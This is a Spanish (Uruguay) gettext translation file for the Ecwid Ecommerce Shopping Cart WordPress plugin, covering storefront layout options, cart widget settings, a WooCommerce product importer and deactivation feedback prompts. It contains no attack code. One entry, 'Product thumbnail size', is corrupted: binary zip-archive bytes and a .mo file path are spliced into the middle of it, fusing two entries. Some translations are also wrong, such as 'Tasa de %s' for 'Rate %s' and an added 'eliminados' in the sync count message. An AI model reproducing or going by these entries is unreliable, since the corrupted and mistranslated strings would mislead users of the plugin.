"Plugins for Ecwid" msgstr "Complementos para Ecwid" #: includes/class-ecwid-popup-deactivate.php:138 msgid "I use this WordPress theme: %s" msgstr "Utilizo este tema de WordPress: %s" #: includes/class-ecwid-popup-deactivate.php:132 msgid "I couldn’t find a WordPress theme that goes well with %s" msgstr "No pude encontrar un tema de WordPress adecuado para %s" #: includes/class-ecwid-product-browser.php:357 msgid "On the right" msgstr "A la derecha" #: includes/class-ecwid-product-browser.php:353 msgid "On the left" msgstr "A la izquierda" #: includes/class-ecwid-product-browser.php:349 msgid "Filters panel position" msgstr "Posición del panel de filtros" #: includes/class-ecwid-product-browser.php:209 msgid "Default product_ID" msgstr "ID del producto predeterminado" #: includes/gutenberg/class-ecwid-gutenberg-block-minicart.php:73 msgid "Cart icon" msgstr "Icono del carrito de compras" #: templates/shortcode-stub-store.tpl.php:4 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:20 #: js/gutenberg/blocks.build.js:1 msgid "Store Home Page" msgstr "Página de inicio de la tienda" #: ecwid-shopping-cart.php:431 msgid "Edit Category" msgstr "Editar categoría" #: ecwid-shopping-cart.php:430 msgid "Edit Product" msgstr "Editar producto" #: includes/class-ecwid-admin.php:142 includes/class-ecwid-admin.php:143 msgid "Online Store Apps" msgstr "Aplicaciones de la tienda en línea" #. Plugin Name of the plugin msgid "Ecwid Ecommerce Shopping Cart" msgstr "Carrito de compras del comercio electrónico de Ecwid" #: includes/class-ecwid-custom-admin-page.php:58 includes/faq_entries.php:76 msgid "Ecwid is compatible with any WordPress theme. Be it a free theme from WordPress.org catalog, a premium theme by a third-party vendor or a custom-made theme, your Ecwid store will work good with it. If you want a premium theme, we recommend <a href=\"%s\">TemplateMonster themes</a>" msgstr "Ecwid es compatible con cualquier tema de WordPress. Ya sea un tema gratuito del catálogo de WordPress.org, un tema prémium de un proveedor externo o un tema personalizado; su tienda de Ecwid funcionará bien con cualquiera de ellos. Si desea un tema prémium, le recomendamos <a href=\"%s\">temas de TemplateMonster</a>." #: includes/faq_entries.php:74 msgid "Is there a WordPress theme for Ecwid?" msgstr "¿Existe algún tema de WordPress para Ecwid?" #: templates/admin-footer.php:19 msgid "<a href=\"admin.php?page=" msgstr "<a href=\"admin.php?page=" #: includes/integrations/class-ecwid-integration-gutenberg.php:113 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:25 msgid "You can enable an extra shopping bag icon widget that will appear on your site pages. Open “<a href=\"%1$s\">Appearance → Customize → %2$s</a>†menu to enable it." msgstr "Puede habilitar un «widget» adicional del icono de la bolsa de compras que aparecerá en las páginas de su sitio web. Abra el menú «<a href=\"%1$s\">Apariencia → Personalizar → %2$s</a>» para habilitarlo." #: includes/integrations/class-ecwid-integration-gutenberg.php:85 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:18 msgctxt "gutenberg-store-block-stub" msgid "Store" msgstr "Tienda" #: includes/class-ecwid-product-browser.php:472 msgid "Image feed" msgstr "Canal de imagen" #: includes/class-ecwid-product-browser.php:467 msgid "Vertical thumbnails" msgstr "Miniaturas verticales" #: includes/class-ecwid-product-browser.php:462 msgid "Horizontal thumbnails" msgstr "Miniaturas horizontales" #: includes/class-ecwid-product-browser.php:452 msgid "3 columns, image on the right" msgstr "3 columnas, imagen a la derecha" #: includes/class-ecwid-product-browser.php:448 msgid "3 columns, image on the left" msgstr "3 columnas, imagen a la izquierda" #: includes/class-ecwid-product-browser.php:444 msgid "2 columns, image on the right" msgstr "2 columnas, imagen a la derecha" #: includes/class-ecwid-product-browser.php:440 msgid "2 columns, image on the left" msgstr "2 columnas, imagen a la izquierda" #: includes/class-ecwid-product-browser.php:429 msgid "Landscape 3:2" msgstr "Horizontal 3:2" #: includes/class-ecwid-product-browser.php:424 msgid "Landscape 4:3" msgstr "Horizontal 4:3" #: includes/class-ecwid-product-browser.php:419 msgid "Square 1:1" msgstr "Cuadrado 1:1" #: includes/class-ecwid-product-browser.php:414 msgid "Portrait 3:4" msgstr "Vertical 3:4" #: includes/class-ecwid-product-browser.php:409 msgid "Portrait 2:3" msgstr "Vertical 2:3" #: includes/class-ecwid-product-browser.php:399 msgid "L" msgstr "G" #: includes/class-ecwid-product-browser.php:395 msgid "M" msgstr "M" #: includes/class-ecwid-product-browser.php:391 msgid "S" msgstr "P" #: includes/class-ecwid-product-browser.php:381 msgid "Show on hover" msgstr "Mostrar al pasar el ratón" #: includes/class-ecwid-product-browser.php:377 msgid "Hide" msgstr "Ocultar" #: includes/class-ecwid-product-browser.php:373 msgid "Show" msgstr "Mostrar" #: includes/class-ecwid-product-browser.php:342 msgid "Background color" msgstr "Color del fondo" #: includes/class-ecwid-product-browser.php:335 msgid "Link color" msgstr "Color del enlace" #: includes/class-ecwid-product-browser.php:328 msgid "Price color" msgstr "Color del precio" #: includes/class-ecwid-product-browser.php:321 msgid "Text color" msgstr "Color del texto" #: includes/class-ecwid-product-browser.php:314 msgid "Button color" msgstr "Color del botón" #: includes/class-ecwid-product-browser.php:299 msgid "Wholesale prices" msgstr "Precios al por mayor" #: includes/class-ecwid-product-browser.php:292 msgid "\"In stock\" label" msgstr "Etiqueta de productos «En existencia»" #: includes/class-ecwid-product-browser.php:285 msgid "Available qty in stock" msgstr "Cantidad disponible en existencia" #: includes/class-ecwid-product-browser.php:278 msgid "Product quantity" msgstr "Cantidad de productos" #: includes/class-ecwid-product-browser.php:271 msgctxt "product-browser-attributes" msgid "Product price" msgstr "Precio del producto" #: includes/class-ecwid-product-browser.php:264 msgctxt "product-browser-attributes" msgid "Product SKU" msgstr "REF del producto" #: includes/class-ecwid-product-browser.php:257 msgid "Breadcrumbs" msgstr "Migas de pan" #: includes/class-ecwid-product-browser.php:241 msgid "Image gallery layout" msgstr "Diseño de la galería de imágenes" #: includes/integrations/class-ecwid-integration-gutenberg.php:391 #: includes/class-ecwid-product-browser.php:224 #: includes/class-ecwid-product-browser.php:233 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:212 msgid "Show description under the image" msgstr "Mostrar descripción debajo de la imagen" #: includes/class-ecwid-product-browser.php:216 msgid "Product page layout" msgstr "Diseño de la página de productos" #: includes/class-ecwid-product-browser.php:194 msgid "Display sort by link" msgstr "Mostrar «ordenar por enlace»" #: includes/class-ecwid-product-browser.php:186 #: includes/class-ecwid-product-browser.php:306 msgid "Display sign in link" msgstr "Mostrar el enlace de inicio de sesión" #: includes/class-ecwid-product-browser.php:178 msgid "Display footer menu" msgstr "Mostrar el menú del pie de página" #: includes/class-ecwid-product-browser.php:170 msgid "Display breadcrumbs" msgstr "Mostrar migas de pan" #: includes/class-ecwid-product-browser.php:163 js/gutenberg/blocks.build.js:1 msgid "Display search box" msgstr "Mostrar el cuadro de búsqueda" #: includes/class-ecwid-product-browser.php:156 msgid "Display categories menu" msgstr "Mostrar el menú de categorías" #: includes/class-ecwid-product-browser.php:148 msgid "Category thumbnail aspect ratio" msgstr "Relación de aspecto de la miniatura de la categoría" #: includes/class-ecwid-product-browser.php:140 msgid "Category thumbnail size" msgstr "Tamaño de la miniatura de la categoría" #: includes/class-ecwid-product-browser.php:131 msgid "Image only" msgstr "Solo imagen" #: includes/class-ecwid-product-browser.php:127 msgid "Title only" msgstr "Solo título" #: includes/class-ecwid-product-browser.php:123 msgid "Image and title on mouse over" msgstr "Imagen y título al pasar el ratón por encima" #: includes/class-ecwid-product-browser.php:119 msgid "Title on image" msgstr "Título en la imagen" #: includes/class-ecwid-product-browser.php:115 msgid "Title under image" msgstr "Título debajo de la imagen" #: includes/class-ecwid-product-browser.php:111 msgid "Category card layout" msgstr "Diseño de la ficha de categoría" #: includes/class-ecwid-product-browser.php:103 msgid "Show additional image on hover" msgstr "Mostrar imagen adicional al pasar el ratón" #: includes/class-ecwid-product-browser.php:95 msgid "Buy now buttons" msgstr "Botones de «Comprar ahora»" #: includes/class-ecwid-product-browser.php:87 msgid "Product SKU" msgstr "REF del producto" #: includes/class-ecwid-product-browser.php:79 msgid "Product price" msgstr "Precio del producto" #: includes/class-ecwid-product-browser.php:71 msgid "Product title" msgstr "Título del producto" #: includes/class-ecwid-product-browser.php:61 msgid "Justify" msgstr "Justificado" #: includes/class-ecwid-product-browser.php:56 msgid "Right" msgstr "Derecha" #: includes/class-ecwid-product-browser.php:51 msgid "Center" msgstr "Centrado" #: includes/class-ecwid-product-browser.php:46 msgid "Left" msgstr "Izquierda" #: includes/class-ecwid-product-browser.php:42 msgid "Product card text align" msgstr "El texto de la ficha del producto se alinea" #: includes/class-ecwid-product-browser.php:34 msgid "Show product card border" msgstr "Mostrar el borde de la ficha del producto" #: includes/class-ecwid-product-browser.php:26 msgid "Product thumbnail aspect ratio" msgstr "Relación de aspecto de la miniatura del producto" #: includes/class-ecwid-product-browser.php:18 msgid "Product thumbnail size" msgstr "Tamaño dePK������Ê—[ÃÔ³$$*�$*�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_UY.monu�„[µü¤��������" msgstr "Mostrar miniaturas de los productos" #. Author of the plugin msgid "Ecwid Ecommerce" msgstr "Comercio electrónico Ecwid" #: templates/importer/woo-summary.tpl.php:34 msgid "After import, your %s store will have " msgstr "Después de la importación, su tienda de %s tendrá " #: templates/importer/woo-summary.tpl.php:21 msgid "Your %s store has " msgstr "Su tienda de %s tiene " #: templates/importer/woo-summary.tpl.php:10 msgid "Your WooCommerce store has " msgstr "Su tienda de WooCommerce tiene " #: includes/integrations/class-ecwid-integration-elementor.php:64 #: includes/integrations/class-ecwid-integration-divibuilder.php:25 #: includes/integrations/class-ecwid-integration-gutenberg.php:94 msgid "%s Store" msgstr "Tienda de %s" #: includes/importer/class-ecwid-import-page.php:184 msgid "%s products" msgstr "%s productos" #: includes/importer/class-ecwid-import-page.php:178 msgid "%s products and %s categories" msgstr "%s productos y %s categorías" #: includes/class-ecwid-stub-renderer.php:27 #: includes/class-ecwid-admin-storefront-page.php:272 msgid "Product" msgstr "Producto" #: includes/class-ecwid-message-manager.php:278 #: includes/class-ecwid-message-manager.php:297 #: includes/class-ecwid-message-manager.php:318 msgid "Warning: some of your online store features are disabled. Please contact your hosting provider to resolve." msgstr "Advertencia: algunas de las funciones de su tienda en línea están inhabilitadas. Póngase en contacto con su proveedor de alojamiento web para resolverlo." #: templates/admin/legacy-connect.tpl.php:39 msgid "Create new account" msgstr "Crear una nueva cuenta" #: templates/admin/legacy-connect.tpl.php:33 msgid "Register at %s" msgstr "Registrarse en %s" #: includes/class-ecwid-floating-minicart.php:155 msgid "Bottom left" msgstr "Abajo a la izquierda" #: includes/class-ecwid-floating-minicart.php:154 msgid "Top left" msgstr "Arriba a la izquierda" #: includes/class-ecwid-floating-minicart.php:113 msgid "Show on all pages" msgstr "Mostrar en todas las páginas" #: includes/class-ecwid-floating-minicart.php:112 msgid "Show on store pages" msgstr "Mostrar en las páginas de la tienda" #: includes/class-ecwid-floating-minicart.php:111 msgid "Do not show" msgstr "No mostrar" #: includes/class-ecwid-customizer.php:134 msgid "Vertical indent" msgstr "Sangría vertical" #: includes/class-ecwid-customizer.php:123 msgid "Horizontal indent" msgstr "Sangría horizontal" #: includes/class-ecwid-customizer.php:97 msgid "Icon" msgstr "Icono" #: includes/class-ecwid-customizer.php:85 #: includes/gutenberg/class-ecwid-gutenberg-block-minicart.php:79 msgid "Border" msgstr "Borde" #: includes/class-ecwid-customizer.php:72 #: includes/gutenberg/class-ecwid-gutenberg-block-minicart.php:67 msgid "Layout" msgstr "Diseño" #: includes/class-ecwid-customizer.php:61 msgid "Show when empty" msgstr "Mostrar cuando esté vacío" #: includes/class-ecwid-customizer.php:49 msgid "Note: when enabled, the cart widget is always displayed in preview to make it easier to customize it. The \"Show on store pages\" and \"Show when empty\" options will apply to the cart widget on site when published" msgstr "Nota: cuando está habilitado, el «widget» del carrito siempre se mostrará en la vista previa para que sea más fácil personalizarlo. Las opciones «Mostrar en las páginas de la tienda» y «Mostrar cuando esté vacío» se aplicarán al «widget» del carrito en el sitio cuando se publiquen" #: includes/class-ecwid-customizer.php:47 msgid "Display shopping cart" msgstr "Mostrar el carrito de compras" #: includes/class-ecwid-customizer.php:35 msgid "Shopping Cart Widget" msgstr "«Widget» del carrito de compras" #. Author URI of the plugin msgid "https://ecwid.to/ecwid-site" msgstr "https://ecwid.to/ecwid-site" #: templates/product-popup.php:247 msgid "selected product" msgstr "producto seleccionado" #: templates/product-popup.php:138 templates/product-popup.php:143 msgid "Selected Product" msgstr "Producto seleccionado" #: templates/product-popup.php:124 msgid " Choose another product" msgstr " Elegir otro producto" #: templates/importer/landing.tpl.php:20 msgid "Import your WooCommerce catalog to %s" msgstr "Importe su catálogo de WooCommerce a %s" #: includes/widgets/nsf-minicart-editor.tpl.php:35 msgid "Border:" msgstr "Borde:" #: includes/widgets/nsf-minicart-editor.tpl.php:19 msgid "Cart icon:" msgstr "Icono del carrito:" #: includes/widgets/nsf-minicart-editor.tpl.php:3 msgid "Layout:" msgstr "Diseño:" #: includes/class-ecwid-floating-minicart.php:145 msgid "No border" msgstr "Sin borde" #: includes/class-ecwid-floating-minicart.php:144 msgid "Pill" msgstr "Píldora" #: includes/class-ecwid-floating-minicart.php:143 msgid "Rectangle" msgstr "Rectángulo" #: includes/class-ecwid-floating-minicart.php:136 msgid "Basket" msgstr "Cesta" #: includes/class-ecwid-floating-minicart.php:134 msgid "Bag" msgstr "Bolsa" #: includes/class-ecwid-floating-minicart.php:127 msgid "Icon, label, item count, subtotal and link" msgstr "Icono, etiqueta, total de artículos, subtotal y enlace" #: includes/class-ecwid-floating-minicart.php:126 msgid "Icon, label, item count and subtotal" msgstr "Icono, etiqueta, total de artículos y subtotal" #: includes/class-ecwid-floating-minicart.php:125 msgid "Icon, label and item count" msgstr "Icono, etiqueta y total de artículos" #: includes/class-ecwid-floating-minicart.php:124 msgid "Icon and item count" msgstr "Icono y total de artículos" #: includes/class-ecwid-floating-minicart.php:123 msgid "Label and item count" msgstr "Etiqueta y y total de artículos" #: includes/class-ecwid-floating-minicart.php:122 msgid "Item count only" msgstr "Solo el total de artículos" #: includes/class-ecwid-floating-minicart.php:121 msgid "Small icon and item count" msgstr "Icono pequeño y total de artículos" #: includes/class-ecwid-floating-minicart.php:120 msgid "Small icon" msgstr "Icono pequeño" #: includes/widgets/class-ecwid-widget-minicart.php:9 msgid "Shopping Cart (deprecated)" msgstr "Carrito de compras (descontinuado)" #: includes/widgets/class-ecwid-widget-minicart-miniview.php:9 msgid "Shopping Cart Mini (deprecated)" msgstr "Carrito de compras en miniatura (descontinuado)" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:21 msgid "Shopping Cart Floating (deprecated)" msgstr "Carrito de compras flotante (descontinuado)" #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:69 msgid "Displays storefront: product listing and checkout" msgstr "Muestra el escaparate virtual: listado de productos y pago" #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:67 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:70 msgctxt "vc-tab" msgid "Online store" msgstr "Tienda en línea" #: includes/integrations/class-ecwid-integration-gutenberg.php:105 #: includes/gutenberg/class-ecwid-gutenberg.php:131 msgid "Your product" msgstr "Su producto" #: templates/shortcode-stub-store.tpl.php:18 #: includes/integrations/class-ecwid-integration-gutenberg.php:103 #: includes/widgets/class-ecwid-widget-product-browser.php:11 #: includes/gutenberg/class-ecwid-gutenberg.php:129 msgid "Your store will be shown here" msgstr "Su tienda se mostrará aquí" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:31 #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:101 #: includes/integrations/class-ecwid-integration-gutenberg.php:101 #: includes/gutenberg/class-ecwid-gutenberg.php:127 #: js/gutenberg/blocks.build.js:1 msgid "Choose product" msgstr "Elegir producto" #: includes/integrations/class-ecwid-integration-gutenberg.php:97 #: includes/gutenberg/class-ecwid-gutenberg.php:123 msgid "%s product" msgstr "%s producto" #: templates/wp-toolbox.tpl.php:4 msgid "Take advantage of powerful apps and extensions designed to enhance your store." msgstr "Aproveche las increíbles aplicaciones y extensiones diseñadas para mejorar su tienda." #: templates/wp-toolbox.tpl.php:3 msgid "Extensions for your Store" msgstr "Extensiones para su tienda" #: templates/importer/woo-summary.tpl.php:6 msgid "Import summary" msgstr "Resumen de la importación" #: templates/importer/woo-main.tpl.php:19 msgid "This import will copy your WooCommerce products and categories to your %s store." msgstr "Esta importación copiará sus productos y categorías de WooCommerce a su tienda de %s." #: templates/importer/woo-main.tpl.php:62 msgid "Importing %s of %s items" msgstr "Importando %s de %s artículos" #: templates/importer/woo-complete-alert.tpl.php:27 msgid "Some of the items could not be imported." msgstr "Algunos de los artículos no se pudieron importar." #: templates/importer/landing.tpl.php:33 msgid "Learn more" msgstr "Más información" #: templates/importer/landing.tpl.php:33 msgid "https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products" msgstr "https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products" #: templates/importer/landing.tpl.php:31 msgid "Ecwid allows you to upload your products in a form of CSV file. Learn more about this tool in the Ecwid Help Center" msgstr "Ecwid le permite subir sus productos en forma de archivo CSV. Obtenga más información sobre esta herramienta en el centro de asistencia de Ecwid" #: templates/importer/landing.tpl.php:29 msgid "Import product catalog from other sources" msgstr "Importar el catálogo de productos de otras fuentes" #: templates/importer/landing.tpl.php:23 msgid "(You will be able to confirm the changes before the actual import)" msgstr "(podrá confirmar los cambios antes de la importación definitiva)" #: templates/importer/landing.tpl.php:12 msgid "We found you have a WooCommerce installed. Your WooCommerce store has %1$s products and %2$s categories. Would you like to import it to %3$s?" msgstr "Notamos que tiene un WooCommerce instalado. Su tienda de WooCommerce tiene %1$s productos y %2$s categorías; ¿le gustaría importarlos a %3$s?" #: templates/importer/landing.tpl.php:9 msgid "Import product catalog from WooCommerce" msgstr "Importar el catálogo de productos de WooCommerce" #: templates/importer/landing.tpl.php:4 msgid "Here, we will help you uploading your product catalog to %s from another shopping cart or other sources." msgstr "Aquí, le ayudaremos a subir su catálogo de productos a %s de otro carrito de compras u otras fuentes." #: templates/importer/landing.tpl.php:1 msgid "Import products to your %s store" msgstr "Importe los productos a su tienda de %s" #: templates/dashboard-blog-posts.tpl.php:20 msgid "Knowledge Base" msgstr "Base de conocimiento" #: templates/dashboard-blog-posts.tpl.php:19 msgid "https://support.ecwid.com/hc/en-us" msgstr "https://support.ecwid.com/hc/en-us" #: templates/dashboard-blog-posts.tpl.php:14 msgid "https://www.ecwid.com/blog" msgstr "https://www.ecwid.com/blog" #: includes/importer/class-ecwid-import.php:39 msgid "Bulk import products and categories to your %s store" msgstr "Importar en masa productos y categorías a su tienda de %s" #: includes/importer/class-ecwid-import.php:38 msgid "%s products and categories" msgstr "%s productos y categorías" #: templates/importer/woo-main.tpl.php:36 #: includes/importer/class-ecwid-import-page.php:52 #: includes/importer/class-ecwid-import-page.php:53 msgid "Import your products from WooCommerce to %s" msgstr "Importe sus productos de WooCommerce a %s" #: includes/importer/class-ecwid-import-page.php:42 #: includes/importer/class-ecwid-import-page.php:43 msgid "Import" msgstr "Importar" #: templates/dashboard-blog-posts.tpl.php:15 #: includes/class-ecwid-wp-dashboard-feed.php:48 msgid "%s Blog" msgstr "Blog de %s" #: includes/class-ecwid-message-manager.php:345 msgid "No Thanks" msgstr "No, gracias" #: includes/class-ecwid-message-manager.php:343 msgid "Import my products from WooCommerce" msgstr "Importar mis productos de WooCommerce" #: includes/class-ecwid-message-manager.php:341 msgid "We noticed you have WooCommerce installed. If you want to easily copy your WooCommerce products to %s, this tool will help you." msgstr "Notamos que tiene WooCommerce instalado. Si desea copiar fácilmente sus productos de WooCommerce a %s, esta herramienta le ayudará." #: includes/class-ecwid-message-manager.php:340 msgid "Need help importing your products from WooCommerce to %s?" msgstr "¿Necesita ayuda para importar sus productos de WooCommerce a %s?" #: includes/class-ecwid-admin.php:213 includes/class-ecwid-admin.php:214 msgid "Customers" msgstr "Clientes" #: templates/help.php:28 msgid "or <a %s>Browse the Help Center" msgstr "o <a %s>consulte el centro de asistencia" #: templates/admin/welcome-connection-message.php:5 msgid "To display your store on this site, you need to allow WordPress to access your %1$s products. Please press connect to provide permission." msgstr "Para mostrar su tienda en este sitio web, debe permitir que WordPress acceda a sus productos de %1$s. Pulse «Conectar» para otorgar el permiso." #: includes/faq_entries.php:40 msgid "Our 4 account types vary by number of products, types of functionality, and level of support. For more information, check out our <a target=\"_blank\" href=\"%s\">pricing page.</a><br /><br />Pro Tip: You can also save money by enrolling in our annual plans." msgstr "Nuestros 4 tipos de cuentas varían según la cantidad de productos, los tipos de funcionalidades y el nivel de asistencia. Para obtener más información, consulte nuestra <a target=\"_blank\" href=\"%s\">página de precios.</a><br /><br />Consejo profesional: también puede ahorrar dinero si se suscribe a nuestros planes anuales." #: includes/class-ecwid-popup-deactivate.php:59 msgid "[%s] WordPress plugin deactivation feedback (store ID: %s)" msgstr "[%s] Comentarios sobre la desactivación del complemento de WordPress (ID de la tienda: %s)" #: includes/class-ecwid-message-manager.php:289 msgid "Your storefront (product listing and checkout) is working fine, but the advanced store functions like SEO and sidebar widgets are disabled. To enable them and make sure your store works properly, please press the button below to connect your %s account. This will take less than a minute — you will only be asked to log in to your account and allow this site to get your store data." msgstr "Su escaparate virtual (listado de productos y página de pago) está funcionando bien, pero las funciones avanzadas de la tienda, como el SEO y los «widgets» de la barra lateral, están inhabilitadas. Para habilitarlas y asegurarse de que su tienda funcione correctamente, pulse el botón de abajo para conectar su cuenta de %s. Esto tomará menos de un minuto; solo se le pedirá que inicie sesión en su cuenta y permita que este sitio web obtenga los datos de su tienda." #: includes/class-ecwid-message-manager.php:288 msgid "Action required: please connect your %s account" msgstr "Acción requerida: conecte su cuenta de %s" #: templates/popup/deactivate.php:24 msgid "Contact Support" msgstr "Ponerse en contacto con la asistencia" #: templates/popup/deactivate.php:1 msgid "If you have a moment, please let us know why you are deactivating:" msgstr "Si tiene un momento, háganos saber por qué está desactivando:" #: templates/admin/welcome-create.php:4 msgid "Create Store" msgstr "Crear tienda" #: templates/advanced-settings.php:1 msgid "%s — Advanced settings" msgstr "%s — Configuración avanzada" #: includes/widgets/class-ecwid-widget-random-products.php:10 msgid "Displays a list of random products." msgstr "Muestra una lista de productos aleatorios." #: includes/widgets/class-ecwid-widget-random-products.php:9 msgid "Random Products" msgstr "Productos aleatorios" #: includes/widgets/class-ecwid-widget-random-product.php:9 #: includes/widgets/class-ecwid-widget-random-product.php:64 msgid "Random Product" msgstr "Producto aleatorio" #: includes/widgets/class-ecwid-widget-random-product.php:8 msgid "Displays a random product from your store to attract customer attention." msgstr "Muestra un producto aleatorio de su tienda para atraer la atención del cliente." #: includes/widgets/class-ecwid-widget-latest-products.php:10 msgid "Displays the latest added products from your store. Show new products to returning customers to drive repeat sales." msgstr "Muestra los últimos productos añadidos de su tienda. Muestre nuevos productos a los clientes existentes para impulsar las ventas repetidas." #: includes/widgets/class-ecwid-widget-latest-products.php:9 msgid "Latest Products" msgstr "Últimos productos" #: includes/class-ecwid-popup-deactivate.php:164 msgid "Can you share your feedback? What was wrong?" msgstr "¿Podría compartir su opinión? ¿Qué fue lo que pasó?" #: includes/class-ecwid-popup-deactivate.php:161 msgid "Other" msgstr "Otro" #: includes/class-ecwid-popup-deactivate.php:155 msgid "It's a temporary deactivation. Please do not ask me again." msgstr "Es una desactivación temporal. No preguntarme de nuevo." #: includes/class-ecwid-popup-deactivate.php:152 msgid "Can you share the name of the plugin you chose?" msgstr "¿Podría compartir el nombre del complemento que ha elegido?" #: includes/class-ecwid-popup-deactivate.php:149 msgid "I found a better plugin" msgstr "Encontré un mejor complemento" #: includes/class-ecwid-popup-deactivate.php:146 msgid "What feature do you need?" msgstr "¿Qué función necesita?" #: includes/class-ecwid-popup-deactivate.php:143 msgid "The plugin doesn't support the feature I want" msgstr "El complemento no es compatible con la función que quiero" #: includes/class-ecwid-popup-deactivate.php:128 msgid "What was wrong?" msgstr "¿Qué fue lo que pasó?" #: includes/class-ecwid-popup-deactivate.php:125 msgid "I have a problem using this plugin" msgstr "Tengo un problema con el uso de este complemento" #: includes/class-ecwid-popup-deactivate.php:112 msgid "Before You Go" msgstr "Antes de que se vaya" #: templates/admin/storefront/area-navigation.php:79 #: includes/class-ecwid-popup-deactivate.php:105 msgid "Cancel" msgstr "Cancelar" #: includes/class-ecwid-popup-deactivate.php:101 msgid "Submit & Deactivate" msgstr "Enviar y desactivar" #: includes/class-ecwid-message-manager.php:244 #: includes/class-ecwid-store-page.php:568 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:51 #: ecwid-shopping-cart.php:1082 js/gutenberg/blocks.build.js:1 msgid "Set up your store" msgstr "Configure su tienda" #: templates/admin-head.php:8 includes/class-ecwid-admin.php:48 #: includes/integrations/class-ecwid-integration-gutenberg.php:45 #: includes/gutenberg/class-ecwid-gutenberg.php:69 msgid "%s" msgstr "%s" #: templates/product-popup.php:199 js/gutenberg/blocks.build.js:1 msgid "«Buy now» button" msgstr "Botón de «Comprar ahora»" #: templates/admin/simple-dashboard.php:10 msgid "%s Shopping Cart" msgstr "Carrito de compras de %s" #: templates/advanced-settings.php:42 msgid "Please subscribe to a paid plan to get this feature." msgstr "Suscríbase a un plan de pago para obtener esta función." #: templates/admin-footer.php:9 msgid "Get %s mobile app" msgstr "Descargue la aplicación móvil de %s" #: includes/class-ecwid-message-manager.php:272 msgid "Rate %s at WordPress.org" msgstr "Tasa de %s en WordPress.org" #: includes/class-ecwid-message-manager.php:268 msgid "Do you like your %s online store? We'd appreciate it if you add your review and vote for the plugin on WordPress site." msgstr "¿Le gusta su tienda de %s en línea? Apreciaríamos si comparte su opinión y vota por el complemento en el sitio de WordPress." #: includes/class-ecwid-message-manager.php:260 msgid "To add extra functions to your store, drag and drop %s store elements on your site. When you're done, you can get back to modifying your settings." msgstr "Para añadir funciones adicionales a su tienda, arrastre y suelte los elementos de la tienda de %s en su sitio web. Una vez que haya terminado, puede volver a modificar su configuración." #: templates/sync.php:114 msgid "Provide access." msgstr "Otorgar acceso." #: templates/sync.php:113 msgid "To enable this feature, the plugin needs a permission to read your store product information." msgstr "Para habilitar esta función, el complemento necesita un permiso para leer la información del producto de su tienda." #: templates/product-popup.php:137 templates/product-popup.php:147 msgid "Choose Product" msgstr "Elegir producto" #: templates/product-popup.php:96 msgid "Try another search." msgstr "Intente otra búsqueda." #: templates/sync.php:152 msgid "Not synchronized yet" msgstr "No se ha sincronizado todavía" #: templates/sync.php:149 msgid "Last update" msgstr "Última actualización" #: templates/sync.php:145 msgid "Products are successfully synchronized. The product pages are up to date." msgstr "Los productos se sincronizaron satisfactoriamente. Las páginas de productos están actualizadas." #: templates/sync.php:138 msgid "Products synchronized: %1$s out of %2$s" msgstr "Productos eliminados sincronizados: %1$s de %2$s" #: templates/sync.php:126 msgid "We're synchronizing your products. This may take a few minutes. Please do not reload the page." msgstr "Estamos sincronizando sus productos. Esto puede tardar unos minutos. No actualice la página." #: templates/sync.php:119 msgid "Synchronize products" msgstr "Sincronizar productos" #: templates/advanced-settings.php:83 msgid "%s stores your products data in a secure cloud storage. The product pages are displayed on the fly when a customer browses your store. So, basically, the products are not stored on the site, that's why the site search doesn't find product pages while looking through site pages and posts. This option enables a local storage mode: the products will be stored both in the cloud and on your site. The site search results will list product pages as well as regular pages/posts of your site." msgstr "%s almacena los datos de sus productos de forma segura en la nube. Las páginas de productos se muestran sobre la marcha cuando un cliente navega por su tienda. Por lo que, básicamente, los productos no se almacenan en el sitio web, por eso la búsqueda en el sitio web no encuentra páginas de productos mientras busca en las páginas del sitio web y en las publicaciones. Esta opción habilita un modo de almacenamiento local: los productos se almacenarán tanto en la nube como en su sitio web. Los resultados de la búsqueda en el sitio web incluirán las páginas de productos, así como las páginas o publicaciones habituales de su sitio web." #: templates/product-popup.php:243 msgid "Insert" msgstr "Insertar" #: templates/product-popup.php:242 msgid "select product" msgstr "seleccionar producto" #: templates/product-popup.php:241 templates/product-popup.php:246 msgid "customize appearance" msgstr "personalizar apariencia" #: templates/product-popup.php:224 msgid "Show price inside the \"Buy now\" button" msgstr "Mostrar el precio dentro del botón de «Comprar ahora»" #: templates/product-popup.php:229 #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:62 #: js/gutenberg/blocks.build.js:1 msgid "Center align on a page" msgstr "Centrar la alineación en una página" #: templates/product-popup.php:219 js/gutenberg/blocks.build.js:1 msgid "Add border" msgstr "Añadir borde" #: templates/product-popup.php:188 js/gutenberg/blocks.build.js:1 msgid "Quantity" msgstr "Cantidad" #: templates/product-popup.php:178 js/gutenberg/blocks.build.js:1 msgid "Options" msgstr "Opciones" #: templates/product-popup.php:173 js/gutenberg/blocks.build.js:1 msgid "Picture" msgstr "Imagen" #: templates/product-popup.php:163 msgid "Choose product properties to display in widget" msgstr "Elija las propiedades del producto para mostrarlas en el «widget»" #: templates/product-popup.php:139 templates/product-popup.php:151 msgid "Customize widget" msgstr "Personalizar «widget»" #: templates/product-popup.php:97 msgid "Browse all products." msgstr "Explorar todos los productos." #: templates/product-popup.php:94 msgid "Nothing found for <span class=\"empty-page__term\">\"{{ data.term }}\"</span>" msgstr "No se ha encontrado nada en relación con <span class=\"empty-page__term\">«{{ data.term }}»</span>" #: templates/product-popup.php:80 msgid "Next page" msgstr "Página siguiente" #: templates/product-popup.php:69 msgid "Current Page" msgstr "Página actual" #: templates/product-popup.php:49 msgid "Title or SKU" msgstr "Título o REF" #: templates/product-popup.php:47 templates/product-popup.php:53 #: templates/product-popup.php:56 msgid "Search" msgstr "Buscar" #: templates/product-popup.php:29 msgid "SKU" msgstr "REF" #: templates/product-popup.php:23 msgid "Name" msgstr "Nombre" #: includes/class-ecwid-product-popup.php:150 msgid "Last Page" msgstr "Última página" 